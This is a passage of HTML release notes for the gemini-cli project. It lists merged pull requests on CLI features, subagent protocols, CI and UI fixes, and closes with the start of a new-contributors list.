<li>Changelog for v0.42.0-preview.2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393435532" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26597" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26597/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26597">#26597</a></li>
<li>skip broken test by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4407525969" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26705" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26705/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26705">#26705</a></li>
<li>feat: export session to file and import via flag by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4385887919" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26514" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26514/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26514">#26514</a></li>
<li>Feat: Add Machine Hostname to CLI interface by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/M-DEV-1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/M-DEV-1">@M-DEV-1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289176782" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25637" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25637/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25637">#25637</a></li>
<li>docs(extensions): refactor releasing guide and add update mechanisms by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393230989" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26595" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26595/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26595">#26595</a></li>
<li>fix(ci): fix maintainer identification in lifecycle manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4407880651" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26706" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26706/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26706">#26706</a></li>
<li>fix(ui): added quotes around session id in resume tip by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401554095" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26669" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26669/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26669">#26669</a></li>
<li>Changelog for v0.41.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401581583" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26670" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26670/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26670">#26670</a></li>
<li>refactor(core): agent session protocol changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401147646" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26661" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26661/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26661">#26661</a></li>
<li>fix(context): implement loose boundary policy for gc backstop. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393184313" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26594" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26594/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26594">#26594</a></li>
<li>fix(core): throw explicit error on dropped tool responses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aishaneeshah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aishaneeshah">@aishaneeshah</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401525219" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26668" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26668/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26668">#26668</a></li>
<li>fix: resolve "function response turn must come immediately after function call" error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4404960723" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26691" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26691/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26691">#26691</a></li>
<li>fix(core): resolve parallel tool call streaming ID collision by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aishaneeshah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aishaneeshah">@aishaneeshah</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4399967102" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26646" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26646/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26646">#26646</a></li>
<li>feat(core): add LocalSubagentProtocol behind AgentProtocol by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256405068" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25302" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25302/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25302">#25302</a></li>
<li>fix(cli): remove noisy theme registration logs from terminal by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JayadityaGit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JayadityaGit">@JayadityaGit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4314318553" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25858" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25858/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25858">#25858</a></li>
<li>ci: implement codebase-aware effort level triage by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4401409060" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26666" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26666/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26666">#26666</a></li>
<li>feat(acp/core): prefix tool call IDs with tool names to support tool rendering in ACP compliant IDEs. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4402451691" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26676" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26676/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26676">#26676</a></li>
<li>fix(mcp): treat GET 404 as 405 in StreamableHTTPClientTransport by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/krishdef7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/krishdef7">@krishdef7</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4219995902" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/24847" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/24847/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/24847">#24847</a></li>
<li>feat(core): add RemoteSubagentProtocol behind AgentProtocol by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4256405716" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25303" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25303/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25303">#25303</a></li>
<li>feat(context): Improvements to the snapshotter. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400797246" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26655" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26655/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26655">#26655</a></li>
<li>fix(context): Change snapshotter model config. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4413189957" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26745" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26745/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26745">#26745</a></li>
<li>fix(cli): allow installing extensions from ssh repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielmundi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielmundi">@danielmundi</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4360179978" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26274" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26274/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26274">#26274</a></li>
<li>fix(cli): prevent duplicate SessionStart systemMessage render by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dimssu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dimssu">@dimssu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311624722" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25827" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25827/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25827">#25827</a></li>
<li>fix(cli/acp): prevent infinite thought loop in ACP mode by disablig nextSpeakerCheck by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4422664375" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26874" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26874/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26874">#26874</a></li>
<li>fix(cli): use static tool name in confirmation prompt to avoid parsing errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4421901089" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26866" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26866/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26866">#26866</a></li>
<li>fix(routing): Refactor tool turn handling for the conversation history in NumericalClassifierStrategy to prevent 400 Bad Request by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414435925" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26761" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26761/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26761">#26761</a></li>
<li>fix(core): handle malformed projects.json in ProjectRegistry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423560403" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26885" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26885/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26885">#26885</a></li>
<li>fix(ui): added a gutter width to the input prompt width calculation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423504731" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26882" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26882/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26882">#26882</a></li>
<li>fix: prevent EISDIR crash when customIgnoreFilePaths contains directories (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3973165998" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19868" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/19868/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/19868">#19868</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/suhaan-24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/suhaan-24">@suhaan-24</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3974310806" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19898" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19898/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19898">#19898</a></li>
<li>revert <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/google-gemini/gemini-cli/commit/6b9b778d821728427eea07b1b97ba07378137d0b/hovercard" href="https://github.com/google-gemini/gemini-cli/commit/6b9b778d821728427eea07b1b97ba07378137d0b"><tt>6b9b778</tt></a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424159991" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26893" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26893/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26893">#26893</a></li>
<li>Fix/vscode run current file ts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Neil-N4/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Neil-N4">@Neil-N4</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4092564149" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22894" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/22894/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/22894">#22894</a></li>
<li>Allow Enter to select session while in search mode in /resume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/f-pieri/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/f-pieri">@f-pieri</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4037284096" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/21523" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/21523/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/21523">#21523</a></li>
<li>fix(core): ignore .pak and .rpa game archive formats by default by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Eswar809/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Eswar809">@Eswar809</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423532600" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26884" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26884/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26884">#26884</a></li>
<li>fix(cli): enable adk non-interactive session by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424557177" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26895" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26895/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26895">#26895</a></li>
<li>fix(cli): restore resume for legacy sessions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/KurodaKayn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/KurodaKayn">@KurodaKayn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390664039" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26577" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26577/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26577">#26577</a></li>
<li>fix: respect explicit model selection after Flash quota exhaustion (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414092538" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26759" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/26759/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/26759">#26759</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4422425501" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26872" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26872/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26872">#26872</a></li>
<li>feat(context): Introduce adaptive token calculator to more accurately calculate content sizes. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423587382" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26888" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26888/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26888">#26888</a></li>
<li>chore: update checkout action configuration in workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galz10">@galz10</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4424822043" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26897" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26897/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26897">#26897</a></li>
<li>fix (telemetry): inject quota_project_id to prevent fallback to default oauth client by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TNTCompany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TNTCompany">@TNTCompany</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4406204191" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26698" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26698/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26698">#26698</a></li>
<li>Exclude extension context from skill extraction agent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4423158298" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26879" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26879/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26879">#26879</a></li>
<li>Enable NumericalRouter when using dynamic model configs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kevinjwang1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kevinjwang1">@kevinjwang1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4431348708" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26929" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26929/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26929">#26929</a></li>
<li>ci: actively triage missing priority labels and intelligently clean up conflicting labels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4421696362" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26865" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26865/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26865">#26865</a></li>
<li>refactor(core): introduce SubagentState enum for progress by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamfweidman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamfweidman">@adamfweidman</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4431524662" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26934" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26934/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26934">#26934</a></li>
<li>fix(ci): replace brittle --no-tag with explicit staging-tmp tag by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432247229" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26940" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26940/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26940">#26940</a></li>
<li>Incremental refactor repo agent towards skills-based composition by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gundermanc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gundermanc">@gundermanc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4409975491" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26717" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26717/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26717">#26717</a></li>
<li>fix(ui): fixed line wrap padding for selection lists by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432422069" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26944" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26944/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26944">#26944</a></li>
<li>fix(core): update read_file schema for v1 compatibility (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4066093012" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/22183" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/22183/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/22183">#22183</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4430855512" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26922" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26922/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26922">#26922</a></li>
<li>fix(ci): configure git remote with token for authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4432707686" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26949" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26949/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26949">#26949</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/himanshu748/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/himanshu748">@himanshu748</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3973696331" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19881" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19881/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19881">#19881</a></li>
